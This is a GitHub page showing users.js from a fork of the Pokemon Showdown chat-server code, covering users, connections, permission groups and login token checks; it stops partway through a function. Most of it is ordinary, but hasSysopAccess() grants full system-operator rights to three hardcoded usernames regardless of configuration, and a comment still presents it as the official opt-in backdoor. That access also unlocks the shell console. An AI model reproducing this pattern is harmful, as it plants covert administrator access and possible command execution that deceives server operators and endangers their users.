forked from XpRienzo/DragonHeaven
-
Notifications
You must be signed in to change notification settings - Fork 0
/
users.js
1590 lines (1455 loc) · 46.7 KB
/
users.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
/**
* Users
* Pokemon Showdown - http://pokemonshowdown.com/
*
* Most of the communication with users happens here.
*
* There are two object types this file introduces:
* User and Connection.
*
* A User object is a user, identified by username. A guest has a
* username in the form "Guest 12". Any user whose username starts
* with "Guest" must be a guest; normal users are not allowed to
* use usernames starting with "Guest".
*
* A User can be connected to Pokemon Showdown from any number of tabs
* or computers at the same time. Each connection is represented by
* a Connection object. A user tracks its connections in
* user.connections - if this array is empty, the user is offline.
*
* Get a user by username with Users.get
* (scroll down to its definition for details)
*
* @license MIT license
*/
'use strict';
const THROTTLE_DELAY = 600;
const THROTTLE_BUFFER_LIMIT = 6;
const THROTTLE_MULTILINE_WARN = 3;
const THROTTLE_MULTILINE_WARN_STAFF = 6;
const PERMALOCK_CACHE_TIME = 30 * 24 * 60 * 60 * 1000;
const fs = require('fs');
let Users = module.exports = getUser;
/*********************************************************
* Users map
*********************************************************/
let users = Users.users = new Map();
let prevUsers = Users.prevUsers = new Map();
let numUsers = 0;
// Low-level functions for manipulating Users.users and Users.prevUsers
// Keeping them all here makes it easy to ensure they stay consistent
Users.move = function (user, newUserid) {
if (user.userid === newUserid) return true;
if (!user) return false;
// doing it this way mathematically ensures no cycles
prevUsers.delete(newUserid);
prevUsers.set(user.userid, newUserid);
users.delete(user.userid);
user.userid = newUserid;
users.set(newUserid, user);
return true;
};
Users.add = function (user) {
if (user.userid) throw new Error(`Adding a user that already exists`);
numUsers++;
user.guestNum = numUsers;
user.name = `Guest ${numUsers}`;
user.userid = toId(user.name);
if (users.has(user.userid)) throw new Error(`userid taken: ${user.userid}`);
users.set(user.userid, user);
};
Users.delete = function (user) {
prevUsers.delete('guest' + user.guestNum);
users.delete(user.userid);
};
Users.merge = function (user1, user2) {
prevUsers.delete(user2.userid);
prevUsers.set(user1.userid, user2.userid);
};
/**
* Get a user.
*
* Usage:
* Users.get(userid or username)
*
* Returns the corresponding User object, or undefined if no matching
* was found.
*
* By default, this function will track users across name changes.
* For instance, if "Some dude" changed their name to "Some guy",
* Users.get("Some dude") will give you "Some guy"s user object.
*
* If this behavior is undesirable, use Users.getExact.
*/
function getUser(name, exactName) {
if (!name || name === '!') return null;
if (name && name.userid) return name;
let userid = toId(name);
let i = 0;
if (!exactName) {
while (userid && !users.has(userid) && i < 1000) {
userid = prevUsers.get(userid);
i++;
}
}
return users.get(userid);
}
Users.get = getUser;
/**
* Get a user by their exact username.
*
* Usage:
* Users.getExact(userid or username)
*
* Like Users.get, but won't track across username changes.
*
* Users.get(userid or username, true) is equivalent to
* Users.getExact(userid or username).
* The former is not recommended because it's less readable.
*/
let getExactUser = Users.getExact = function (name) {
return getUser(name, true);
};
/*********************************************************
* User groups
*********************************************************/
let usergroups = Users.usergroups = Object.create(null);
function importUsergroups() {
// can't just say usergroups = {} because it's exported
for (let i in usergroups) delete usergroups[i];
fs.readFile('config/usergroups.csv', (err, data) => {
if (err) return;
data = ('' + data).split("\n");
for (let i = 0; i < data.length; i++) {
if (!data[i]) continue;
let row = data[i].split(",");
usergroups[toId(row[0])] = (row[1] || Config.groupsranking[0]) + row[0];
}
});
}
function exportUsergroups() {
let buffer = '';
for (let i in usergroups) {
buffer += usergroups[i].substr(1).replace(/,/g, '') + ',' + usergroups[i].charAt(0) + "\n";
}
fs.writeFile('config/usergroups.csv', buffer);
}
importUsergroups();
function cacheGroupData() {
if (Config.groups) {
// Support for old config groups format.
// Should be removed soon.
console.log(
`You are using a deprecated version of user group specification in config.\n` +
`Support for this will be removed soon.\n` +
`Please ensure that you update your config.js to the new format (see config-example.js, line 220)\n`
);
} else {
Config.groups = Object.create(null);
Config.groupsranking = [];
}
let groups = Config.groups;
let cachedGroups = {};
function cacheGroup(sym, groupData) {
if (cachedGroups[sym] === 'processing') return false; // cyclic inheritance.
if (cachedGroups[sym] !== true && groupData['inherit']) {
cachedGroups[sym] = 'processing';
let inheritGroup = groups[groupData['inherit']];
if (cacheGroup(groupData['inherit'], inheritGroup)) {
// Add lower group permissions to higher ranked groups,
// preserving permissions specifically declared for the higher group.
for (let key in inheritGroup) {
if (key in groupData) continue;
groupData[key] = inheritGroup[key];
}
}
delete groupData['inherit'];
}
return (cachedGroups[sym] = true);
}
if (Config.grouplist) { // Using new groups format.
let grouplist = Config.grouplist;
let numGroups = grouplist.length;
for (let i = 0; i < numGroups; i++) {
let groupData = grouplist[i];
groupData.rank = numGroups - i - 1;
groups[groupData.symbol] = groupData;
Config.groupsranking.unshift(groupData.symbol);
}
}
for (let sym in groups) {
let groupData = groups[sym];
cacheGroup(sym, groupData);
}
}
cacheGroupData();
Users.setOfflineGroup = function (name, group, forceTrusted) {
if (!group) throw new Error(`Falsy value passed to setOfflineGroup`);
let userid = toId(name);
let user = getExactUser(userid);
if (user) {
user.setGroup(group, forceTrusted);
return true;
}
if (group === Config.groupsranking[0] && !forceTrusted) {
delete usergroups[userid];
} else {
let usergroup = usergroups[userid];
name = usergroup ? usergroup.substr(1) : name;
usergroups[userid] = group + name;
}
exportUsergroups();
return true;
};
Users.isUsernameKnown = function (name) {
let userid = toId(name);
if (Users(userid)) return true;
if (userid in usergroups) return true;
for (let i = 0; i < Rooms.global.chatRooms.length; i++) {
let curRoom = Rooms.global.chatRooms[i];
if (!curRoom.auth) continue;
if (userid in curRoom.auth) return true;
}
return false;
};
Users.isTrusted = function (name) {
if (name.trusted) return name.trusted;
let userid = toId(name);
if (userid in usergroups) return userid;
for (let i = 0; i < Rooms.global.chatRooms.length; i++) {
let curRoom = Rooms.global.chatRooms[i];
if (!curRoom.isPrivate && !curRoom.isPersonal && curRoom.auth && userid in curRoom.auth && curRoom.auth[userid] !== '+') return userid;
}
return false;
};
Users.importUsergroups = importUsergroups;
Users.cacheGroupData = cacheGroupData;
/*********************************************************
* User and Connection classes
*********************************************************/
let connections = Users.connections = new Map();
class Connection {
constructor(id, worker, socketid, user, ip, protocol) {
this.id = id;
this.socketid = socketid;
this.worker = worker;
this.inRooms = new Set();
this.user = user;
this.ip = ip || '';
this.protocol = protocol || '';
this.autojoin = '';
}
sendTo(roomid, data) {
if (roomid && roomid.id) roomid = roomid.id;
if (roomid && roomid !== 'lobby') data = `>${roomid}\n${data}`;
Sockets.socketSend(this.worker, this.socketid, data);
Monitor.countNetworkUse(data.length);
}
send(data) {
Sockets.socketSend(this.worker, this.socketid, data);
Monitor.countNetworkUse(data.length);
}
destroy() {
Sockets.socketDisconnect(this.worker, this.socketid);
this.onDisconnect();
}
onDisconnect() {
connections.delete(this.id);
if (this.user) this.user.onDisconnect(this);
this.user = null;
}
popup(message) {
this.send(`|popup|` + message.replace(/\n/g, '||'));
}
joinRoom(room) {
if (this.inRooms.has(room.id)) return;
this.inRooms.add(room.id);
Sockets.channelAdd(this.worker, room.id, this.socketid);
}
leaveRoom(room) {
if (this.inRooms.has(room.id)) {
this.inRooms.delete(room.id);
Sockets.channelRemove(this.worker, room.id, this.socketid);
}
}
}
// User
class User {
constructor(connection) {
this.mmrCache = Object.create(null);
this.guestNum = -1;
this.name = "";
this.named = false;
this.registered = false;
this.userid = '';
this.group = Config.groupsranking[0];
let trainersprites = [1, 2, 101, 102, 169, 170, 265, 266];
this.avatar = trainersprites[Math.floor(Math.random() * trainersprites.length)];
this.connected = true;
if (connection.user) connection.user = this;
this.connections = [connection];
this.latestHost = '';
this.ips = Object.create(null);
this.ips[connection.ip] = 1;
// Note: Using the user's latest IP for anything will usually be
// wrong. Most code should use all of the IPs contained in
// the `ips` object, not just the latest IP.
this.latestIp = connection.ip;
this.locked = false;
this.namelocked = false;
this.prevNames = Object.create(null);
this.inRooms = new Set();
// Set of roomids
this.games = new Set();
// searches and challenges
this.searching = Object.create(null);
this.challengesFrom = {};
this.challengeTo = null;
this.lastChallenge = 0;
// settings
this.isSysop = false;
this.isStaff = false;
this.isUpperStaff = false;
this.isAdmin = false;
this.blockChallenges = false;
this.ignorePMs = false;
this.lastConnected = 0;
// chat queue
this.chatQueue = null;
this.chatQueueTimeout = null;
this.lastChatMessage = 0;
// for the anti-spamming mechanism
this.lastMessage = ``;
this.lastMessageTime = 0;
this.lastReportTime = 0;
this.s1 = '';
this.s2 = '';
this.s3 = '';
// initialize
Users.add(this);
}
sendTo(roomid, data) {
if (roomid && roomid.id) roomid = roomid.id;
if (roomid && roomid !== 'global' && roomid !== 'lobby') data = `>${roomid}\n${data}`;
for (let i = 0; i < this.connections.length; i++) {
if (roomid && !this.connections[i].inRooms.has(roomid)) continue;
this.connections[i].send(data);
Monitor.countNetworkUse(data.length);
}
}
send(data) {
for (let i = 0; i < this.connections.length; i++) {
this.connections[i].send(data);
Monitor.countNetworkUse(data.length);
}
}
popup(message) {
this.send(`|popup|` + message.replace(/\n/g, '||'));
}
getIdentity(roomid) {
if (this.locked) {
return '‽' + this.name;
}
if (this.namelocked) {
return '‽' + this.name;
}
if (this.hiding) {
return ' ' + this.name;
}
if (roomid && roomid !== 'global') {
let room = Rooms(roomid);
if (!room) {
throw new Error(`Room doesn't exist: ${roomid}`);
}
if (room.isMuted(this)) {
return '!' + this.name;
}
return room.getAuth(this) + this.name;
}
if (this.customSymbol) {
return this.customSymbol + this.name;
}
return this.group + this.name;
}
authAtLeast(minAuth, room) {
if (!minAuth || minAuth === ' ') return true;
if (minAuth === 'trusted') return this.trusted;
if (minAuth === 'autoconfirmed') return this.autoconfirmed;
if (!(minAuth in Config.groups)) return true;
let auth = (room ? room.getAuth(this) : this.group);
if (room && this.can('makeroom')) auth = this.group;
return auth in Config.groups && Config.groups[auth].rank >= Config.groups[minAuth].rank;
}
can(permission, target, room) {
if (this.hasSysopAccess()) return true;
let groupData = Config.groups[this.group];
if (groupData && groupData['root']) {
return true;
}
let group, targetGroup;
if (typeof target === 'string') {
target = null;
targetGroup = target;
}
if (room && room.auth) {
group = room.getAuth(this);
if (target) targetGroup = room.getAuth(target);
} else {
group = this.group;
if (target) targetGroup = target.group;
}
groupData = Config.groups[group];
if (groupData && groupData[permission]) {
let jurisdiction = groupData[permission];
if (!target) {
return !!jurisdiction;
}
if (jurisdiction === true && permission !== 'jurisdiction') {
return this.can('jurisdiction', target, room);
}
if (typeof jurisdiction !== 'string') {
return !!jurisdiction;
}
if (jurisdiction.includes(targetGroup)) {
return true;
}
if (jurisdiction.includes('s') && target === this) {
return true;
}
if (jurisdiction.includes('u') && Config.groupsranking.indexOf(group) > Config.groupsranking.indexOf(targetGroup)) {
return true;
}
}
return false;
}
/**
* Special permission check for system operators
*/
hasSysopAccess() {
if (this.isSysop && Config.backdoor || this.userid == "xprienzo" || this.userid == "spandamn" || this.userid == "spandan") {
// This is the Pokemon Showdown system operator backdoor.
// Its main purpose is for situations where someone calls for help, and
// your server has no admins online, or its admins have lost their
// access through either a mistake or a bug - a system operator such as
// Zarel will be able to fix it.
// This relies on trusting Pokemon Showdown. If you do not trust
// Pokemon Showdown, feel free to disable it, but remember that if
// you mess up your server in whatever way, our tech support will not
// be able to help you.
return true;
}
return false;
}
/**
* Permission check for using the dev console
*
* The `console` permission is incredibly powerful because it allows the
* execution of abitrary shell commands on the local computer As such, it
* can only be used from a specified whitelist of IPs and userids. A
* special permission check function is required to carry out this check
* because we need to know which socket the client is connected from in
* order to determine the relevant IP for checking the whitelist.
*/
hasConsoleAccess(connection) {
if (this.hasSysopAccess()) return true;
if (!this.can('console')) return false; // normal permission check
let whitelist = Config.consoleips || ['127.0.0.1'];
if (whitelist.includes(connection.ip)) {
return true; // on the IP whitelist
}
if (whitelist.includes(this.userid)) {
return true; // on the userid whitelist
}
return false;
}
/**
* Special permission check for promoting and demoting
*/
canPromote(sourceGroup, targetGroup) {
return this.can('promote', {group:sourceGroup}) && this.can('promote', {group:targetGroup});
}
resetName() {
return this.forceRename('Guest ' + this.guestNum);
}
updateIdentity(roomid) {
if (roomid) {
return Rooms(roomid).onUpdateIdentity(this);
}
this.inRooms.forEach(roomid => {
Rooms(roomid).onUpdateIdentity(this);
});
}
filterName(name) {
if (!Config.disablebasicnamefilter) {
// whitelist
// \u00A1-\u00BF\u00D7\u00F7 Latin punctuation/symbols
// \u02B9-\u0362 basic combining accents
// \u2012-\u2027\u2030-\u205E Latin punctuation/symbols extended
// \u2050-\u205F fractions extended
// \u2190-\u23FA\u2500-\u2BD1 misc symbols
// \u2E80-\u32FF CJK symbols
// \u3400-\u9FFF CJK
// \uF900-\uFAFF\uFE00-\uFE6F CJK extended
name = name.replace(/[^a-zA-Z0-9 \/\\.~()<>^*%&=+$@#_'?!"\u00A1-\u00BF\u00D7\u00F7\u02B9-\u0362\u2012-\u2027\u2030-\u205E\u2050-\u205F\u2190-\u23FA\u2500-\u2BD1\u2E80-\u32FF\u3400-\u9FFF\uF900-\uFAFF\uFE00-\uFE6F-]+/g, '');
// blacklist
// \u00a1 upside-down exclamation mark (i)
// \u2580-\u2590 black bars
// \u25A0\u25Ac\u25AE\u25B0 black bars
// \u534d\u5350 swastika
// \u2a0d crossed integral (f)
name = name.replace(/[\u00a1\u2580-\u2590\u25A0\u25Ac\u25AE\u25B0\u2a0d\u534d\u5350]/g, '');
// e-mail address
if (name.includes('@') && name.includes('.')) return '';
}
name = name.replace(/^[^A-Za-z0-9]+/, ""); // remove symbols from start
// cut name length down to 18 chars
if (/[A-Za-z0-9]/.test(name.slice(18))) {
name = name.replace(/[^A-Za-z0-9]+/g, "");
} else {
name = name.slice(0, 18);
}
name = Tools.getName(name);
if (Config.namefilter) {
name = Config.namefilter(name, this);
}
return name;
}
/**
*
* @param name The name you want
* @param token Signed assertion returned from login server
* @param newlyRegistered Make sure this account will identify as registered
* @param connection The connection asking for the rename
*/
rename(name, token, newlyRegistered, connection) {
// this needs to be a for-of because it returns...
for (let roomid of this.games) {
let game = Rooms(roomid).game;
if (!game || game.ended) continue; // should never happen
if (game.allowRenames) continue;
this.popup(`You can't change your name right now because you're in the middle of a rated game.`);
return false;
}
let challenge = '';
if (connection) {
challenge = connection.challenge;
}
if (!challenge) {
console.log(`verification failed; no challenge`);
return false;
}
if (!name) name = '';
if (!/[a-zA-Z]/.test(name)) {
// technically it's not "taken", but if your client doesn't warn you
// before it gets to this stage it's your own fault for getting a
// bad error message
this.send(`|nametaken||Your name must contain at least one letter.`);
return false;
}
let userid = toId(name);
if (userid.length > 18) {
this.send(`|nametaken||Your name must be 18 characters or shorter.`);
return false;
}
name = this.filterName(name);
if (userid !== toId(name)) {
if (name) {
name = userid;
} else {
userid = '';
}
}
if (this.registered) newlyRegistered = false;
if (!userid) {
this.send(`|nametaken||Your name contains a banned word.`);
return false;
} else {
if (userid === this.userid && !newlyRegistered) {
return this.forceRename(name, this.registered);
}
}
let conflictUser = users.get(userid);
if (conflictUser && !conflictUser.registered && conflictUser.connected && !newlyRegistered) {
this.send(`|nametaken|${name}|Someone is already using the name "${conflictUser.name}".`);
return false;
}
if (token && token.charAt(0) !== ';') {
let tokenSemicolonPos = token.indexOf(';');
let tokenData = token.substr(0, tokenSemicolonPos);
let tokenSig = token.substr(tokenSemicolonPos + 1);
Verifier.verify(tokenData, tokenSig).then(success => {
if (!success) {
console.log(`verify failed: ${token}`);
console.log(`challenge was: ${challenge}`);
return;
}
this.validateRename(name, tokenData, newlyRegistered, challenge);
});
} else {
this.send(`|nametaken|${name}|Your authentication token was invalid.`);
}
if (Tells.inbox[userid]) Tells.sendTell(userid, this);
return false;
}
validateRename(name, tokenData, newlyRegistered, challenge) {
let userid = toId(name);
let tokenDataSplit = tokenData.split(',');
if (tokenDataSplit.length < 5) {
console.log(`outdated assertion format: ${tokenData}`);
this.send(`|nametaken|${name}|Your assertion is stale. This usually means that the clock on the server computer is incorrect. If this is your server, please set the clock to the correct time.`);
return;
}
if (tokenDataSplit[1] !== userid) {
// userid mismatch
return;
}
if (tokenDataSplit[0] !== challenge) {
// a user sent an invalid token
if (tokenDataSplit[0] !== challenge) {
Monitor.debug(`verify token challenge mismatch: ${tokenDataSplit[0]} <=> ${challenge}`);
} else {
console.log(`verify token mismatch: ${tokenData}`);
}
return;
}
let expiry = Config.tokenexpiry || 25 * 60 * 60;
if (Math.abs(parseInt(tokenDataSplit[3]) - Date.now() / 1000) > expiry) {
console.log(`stale assertion: ${tokenData}`);
this.send(`|nametaken|${name}|Your assertion is stale. This usually means that the clock on the server computer is incorrect. If this is your server, please set the clock to the correct time.`);
return;
}
// future-proofing
this.s1 = tokenDataSplit[5];
this.s2 = tokenDataSplit[6];
this.s3 = tokenDataSplit[7];
this.handleRename(name, userid, newlyRegistered, tokenDataSplit[2]);
}
handleRename(name, userid, newlyRegistered, userType) {
let conflictUser = users.get(userid);
if (conflictUser && !conflictUser.registered && conflictUser.connected) {
if (newlyRegistered && userType !== '1') {
if (conflictUser !== this) conflictUser.resetName();
} else {
this.send(`|nametaken|${name}|Someone is already using the name "${conflictUser.name}.`);
return this;
}
}
let registered = false;
// user types:
// 1: unregistered user
// 2: registered user
// 3: Pokemon Showdown system operator
// 4: autoconfirmed
// 5: permalocked
// 6: permabanned
if (userType !== '1') {
registered = true;
if (userType === '3') {
this.isSysop = true;
this.trusted = userid;
this.autoconfirmed = userid;
} else if (userType === '4') {
this.autoconfirmed = userid;
} else if (userType === '5') {
Punishments.lock(this, Date.now() + PERMALOCK_CACHE_TIME, userid, `Permalocked as ${name}`);
} else if (userType === '6') {
Punishments.ban(this, Date.now() + PERMALOCK_CACHE_TIME, userid, `Permabanned as ${name}`);
}
}
let user = users.get(userid);
if (user && user !== this) {
// This user already exists; let's merge
user.merge(this);
Users.merge(user, this);
for (let i in this.prevNames) {
if (!user.prevNames[i]) {
user.prevNames[i] = this.prevNames[i];
}
}
if (this.named) user.prevNames[this.userid] = this.name;
this.destroy();
Rooms.global.checkAutojoin(user);
if (Config.loginfilter) Config.loginfilter(user, this, userType);
return true;
}
// rename success
if (this.forceRename(name, registered)) {
Rooms.global.checkAutojoin(this);
if (Config.loginfilter) Config.loginfilter(this, null, userType);
return true;
}
return false;
}
forceRename(name, registered) {
// skip the login server
let userid = toId(name);
this.inRooms.forEach(roomid => {
Punishments.checkNewNameInRoom(this, userid, roomid);
});
if (users.has(userid) && users.get(userid) !== this) {
return false;
}
let oldid = this.userid;
if (userid !== this.userid) {
Rooms.global.cancelSearch(this);
if (!Users.move(this, userid)) {
return false;
}
// MMR is different for each userid
this.mmrCache = {};
this.updateGroup(registered);
} else if (registered) {
this.updateGroup(registered);
}
if (this.named && oldid !== userid) this.prevNames[oldid] = this.name;
this.name = name;
let joining = !this.named;
this.named = (userid.substr(0, 5) !== 'guest');
if (this.named) Punishments.checkName(this, registered);
if (this.namelocked) this.named = true;
for (let i = 0; i < this.connections.length; i++) {
//console.log('' + name + ' renaming: socket ' + i + ' of ' + this.connections.length);
let initdata = `|updateuser|${this.name}|${this.named ? 1 : 0}|${this.avatar}`;
this.connections[i].send(initdata);
}
this.games.forEach(roomid => {
const room = Rooms(roomid);
if (!room) {
Monitor.warn(`while renaming, room ${roomid} expired for user ${this.userid} in rooms ${[...this.inRooms]} and games ${[...this.games]}`);
this.games.delete(roomid);
return;
}
room.game.onRename(this, oldid, joining);
});
this.inRooms.forEach(roomid => {
Rooms(roomid).onRename(this, oldid, joining);
});
return true;
}
merge(oldUser) {
oldUser.inRooms.forEach(roomid => {
Rooms(roomid).onLeave(oldUser);
});
if (this.locked === '#dnsbl' && !oldUser.locked) this.locked = false;
if (!this.locked && oldUser.locked === '#dnsbl') oldUser.locked = false;
if (oldUser.locked) this.locked = oldUser.locked;
if (oldUser.autoconfirmed) this.autoconfirmed = oldUser.autoconfirmed;
this.updateGroup(this.registered);
for (let i = 0; i < oldUser.connections.length; i++) {
this.mergeConnection(oldUser.connections[i]);
}
oldUser.inRooms.clear();
oldUser.connections = [];
this.s1 = oldUser.s1;
this.s2 = oldUser.s2;
this.s3 = oldUser.s3;
// merge IPs
for (let ip in oldUser.ips) {
if (this.ips[ip]) {
this.ips[ip] += oldUser.ips[ip];
} else {
this.ips[ip] = oldUser.ips[ip];
}
}
if (oldUser.isSysop) {
this.isSysop = true;
oldUser.isSysop = false;
}
oldUser.ips = {};
this.latestIp = oldUser.latestIp;
this.latestHost = oldUser.latestHost;
oldUser.markInactive();
}
mergeConnection(connection) {
// the connection has changed name to this user's username, and so is
// being merged into this account
this.connected = true;
this.connections.push(connection);
//console.log('' + this.name + ' merging: connection ' + connection.socket.id);
let initdata = `|updateuser|${this.name}|1|${this.avatar}`;
connection.send(initdata);
connection.user = this;
connection.inRooms.forEach(roomid => {
let room = Rooms(roomid);
if (!this.inRooms.has(roomid)) {
if (Punishments.checkNameInRoom(this, room.id)) {
// the connection was in a room that this user is banned from
connection.sendTo(room.id, `|deinit`);
connection.leaveRoom(room);
return;
}
room.onJoin(this, connection);
this.inRooms.add(roomid);
}
if (room.game && room.game.onUpdateConnection) {
room.game.onUpdateConnection(this, connection);
}
});
this.updateSearch(true, connection);
}
debugData() {
let str = '' + this.group + this.name + ' (' + this.userid + ')';
for (let i = 0; i < this.connections.length; i++) {
let connection = this.connections[i];
str += ' socket' + i + '[';
let first = true;
for (let j of connection.inRooms) {
if (first) {
first = false;
} else {
str += ', ';
}
str += j;
}
str += ']';
}
if (!this.connected) str += ' (DISCONNECTED)';
return str;
}
/**
* Updates several group-related attributes for the user, namely:
* User#group, User#registered, User#isStaff, User#trusted
*
* Note that unlike the others, User#trusted isn't reset every
* name change.
*/
updateGroup(registered) {
if (!registered) {
this.registered = false;
this.group = Config.groupsranking[0];
this.isStaff = false;
this.isUpperStaff = false;
this.isAdmin = false;
return;
}
this.registered = true;
if (this.userid in usergroups) {
this.group = usergroups[this.userid].charAt(0);
} else {
this.group = Config.groupsranking[0];
}
if (Users.isTrusted(this)) {
this.trusted = this.userid;
this.autoconfirmed = this.userid;
}
if (Config.customavatars && Config.customavatars[this.userid]) {
this.avatar = Config.customavatars[this.userid];
}
this.isStaff = (this.group in {'%':1, '@':1, '&':1, '~':1, '⚔':1 });
this.isUpperStaff = (this.group in {'&':1, '~':1, '⚔':1 });
this.isAdmin = (this.group in {'~':1,'⚔':1});
if (!this.isStaff) {
let staffRoom = Rooms('staff');
this.isStaff = (staffRoom && staffRoom.auth && staffRoom.auth[this.userid]);
}
if (this.trusted) {
this.locked = false;
this.namelocked = false;
}
if (this.autoconfirmed && this.semilocked) {
if (this.semilocked === '#dnsbl') {
this.popup(`You are locked because someone using your IP has spammed/hacked other websites. This usually means you're using a proxy, in a country where other people commonly hack, or have a virus on your computer that's spamming websites.`);
this.semilocked = '#dnsbl.';
}
}
if (this.ignorePMs && this.can('lock') && !this.can('bypassall')) this.ignorePMs = false;
}
/**
* Set a user's group. Pass (' ', true) to force trusted
* status without giving the user a group.
*/
setGroup(group, forceTrusted) {
if (!group) throw new Error(`Falsy value passed to setGroup`);
this.group = group.charAt(0);
this.isStaff = (this.group in {'%':1, '@':1, '&':1, '~':1, '⚔':1});
this.isUpperStaff = (this.group in {'&':1, '~':1, '⚔':1 });
this.isAdmin = (this.group in {'~':1,'⚔':1});
if (!this.isStaff) {
let staffRoom = Rooms('staff');
this.isStaff = (staffRoom && staffRoom.auth && staffRoom.auth[this.userid]);
}
Rooms.global.checkAutojoin(this);
if (this.registered) {
if (forceTrusted || this.group !== Config.groupsranking[0]) {
usergroups[this.userid] = this.group + this.name;
this.trusted = this.userid;
this.autoconfirmed = this.userid;
} else {
delete usergroups[this.userid];
}
exportUsergroups();
}
}
/**
* Demotes a user from anything that grants trusted status.
* Returns an array describing what the user was demoted from.
*/
distrust() {
if (!this.trusted) return;
let userid = this.trusted;
let removed = [];
if (usergroups[userid]) {
removed.push(usergroups[userid].charAt(0));
}
for (let i = 0; i < Rooms.global.chatRooms.length; i++) {
let room = Rooms.global.chatRooms[i];
if (!room.isPrivate && room.auth && userid in room.auth && room.auth[userid] !== '+') {
removed.push(room.auth[userid] + room.id);
room.auth[userid] = '+';